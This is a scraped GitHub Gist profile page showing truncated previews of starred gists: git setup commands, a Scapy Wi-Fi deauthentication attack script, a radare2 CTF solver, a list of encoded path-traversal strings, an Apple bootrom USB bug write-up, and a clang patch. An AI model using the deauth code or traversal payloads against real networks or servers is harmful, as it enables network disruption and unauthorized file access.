Skip to content

Instantly share code, notes, and snippets.

View Starwarsfan2099's full-sized avatar
💭
Programming

Andrew Clark Starwarsfan2099

💭
Programming
  • Earth
View GitHub Profile
@alexpchin
alexpchin / Setting_upa_new_repo.md
Last active July 15, 2024 21:19
Create a new repository on the command line

Setting up a new Git Repo

##Create a new repository on the command line

touch README.md
git init
git add README.md
git commit -m "first commit"

git remote add origin git@github.com:alexpchin/.git

@garyconstable
garyconstable / attack.py
Last active January 15, 2024 05:20
Deauth Attack
import argparse
from scapy.all import *
def perform_deauth(bssid, client, count):
"""
Send Deauth packets
"""
packet = RadioTap()/Dot11(type=0,subtype=12,addr1=client,addr2=bssid,addr3=bssid)/Dot11Deauth(reason=7)
for n in range(int(count)):
@LiveOverflow
LiveOverflow / zwiebel.py
Created October 8, 2016 08:35
TUM CTF 2016
import sys
import r2pipe
r2 = r2pipe.open("./zwiebel2")
r2.cmd("e dbg.profile=zwiebel.rr2")
r2.cmd("doo") # reopen for debugging
r2.cmd("db 0x400875") # set breakpoint at `call r14`
r2.cmd("dc") # continue until breakpoint is hit
def step():
Encoded Traversal Strings:
../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216
@littlelailo
littlelailo / apollo.txt
Created September 27, 2019 12:04
Apple Bootrom Bug
This bug was also called moonshine in the beginning
Basically the following bug is present in all bootroms I have looked at:
1. When usb is started to get an image over dfu, dfu registers an interface to handle all the commands and allocates a buffer for input and output
2. if you send data to dfu the setup packet is handled by the main code which then calls out to the interface code
3. the interface code verifies that wLength is shorter than the input output buffer length and if that's the case it updates a pointer passed as an argument with a pointer to the input output buffer
4. it then returns wLength which is the length it wants to recieve into the buffer
5. the usb main code then updates a global var with the length and gets ready to recieve the data packages
6. if a data package is recieved it gets written to the input output buffer via the pointer which was passed as an argument and another global variable is used to keep track of how many bytes were recieved already
7. if all the data was recieved th
@geohot
geohot / clang_fore.diff
Created July 30, 2020 01:08
Add support for "fore" loops to clang
diff --git a/clang/include/clang/AST/Stmt.h b/clang/include/clang/AST/Stmt.h
index 13f265223..61b0a83c6 100644
--- a/clang/include/clang/AST/Stmt.h
+++ b/clang/include/clang/AST/Stmt.h
@@ -2459,13 +2459,16 @@ class ForStmt : public Stmt {
public:
ForStmt(const ASTContext &C, Stmt *Init, Expr *Cond, VarDecl *condVar,
Expr *Inc, Stmt *Body, SourceLocation FL, SourceLocation LP,
- SourceLocation RP);
+ SourceLocation RP, bool is_fore_statement=false);